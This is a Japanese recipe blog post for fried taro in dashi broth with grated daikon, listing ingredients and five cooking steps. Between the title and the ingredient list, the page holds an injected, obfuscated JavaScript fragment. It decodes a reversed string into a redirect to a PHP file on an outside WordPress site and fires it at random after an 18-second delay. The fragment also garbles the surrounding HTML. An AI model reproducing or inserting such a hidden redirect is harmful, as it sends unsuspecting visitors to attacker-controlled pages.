食べること
2022年02月09日
《里芋の揚げ出し》健やかテキパキレシピvo.30
さくら便り
こんにちは。
健やかテキパキレシピのコーナーです♪
今月のレシピは、『里芋の揚げ出し』！
ホクホクの里芋と大根おろしの舌触りが心地よい
優しい味わいの一品です！
寒い季節でございます。暖かい料理で心も体もポカポカに♪
ぜひ作ってみてくださいね＾＾
里芋の揚げ出し
{if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>top2.jpg” alt=”” width=”1398″ height=”1048″ />所要時間：約30分</p>
<p>【材料】4人前</p>
<p>・里芋・・・大きめ5〜6個</p>
<p>・大根・・・1/2カップ</p>
<p>・カイワレ大根・・・1/4パック</p>
<p>・小ねぎ・・・お好みで</p>
<p> </p>
<p>・めんつゆ・・・60ml</p>
<p>・水・・・150ml</p>
<p>・みりん・・・40ml</p>
<p>・片栗粉・・・適量</p>
<p>・油・・・適量</p>
<h5>作り方</h5>
<p><img loading=)
①里芋はよく洗い、皮付きのまま耐熱容器に入れ、竹串が少し通るくらいまでレンジで加熱。粗熱が取れたら皮をむく。
②鍋にめんつゆ・水・みりんを入れて煮立てる。
③里芋を半分に切り、片栗粉をまぶして熱した油で揚げる。
④②に③の里芋を入れ、大根おろしを加えて軽く熱する。
⑤器に盛り付け、カイワレ大根と小ねぎを乗せ盛り付けたら完成。
とっても簡単です！
ぜひ、作ってみてください♪
アンケート：こちら
会報誌「さくらもち」1月号：こちら
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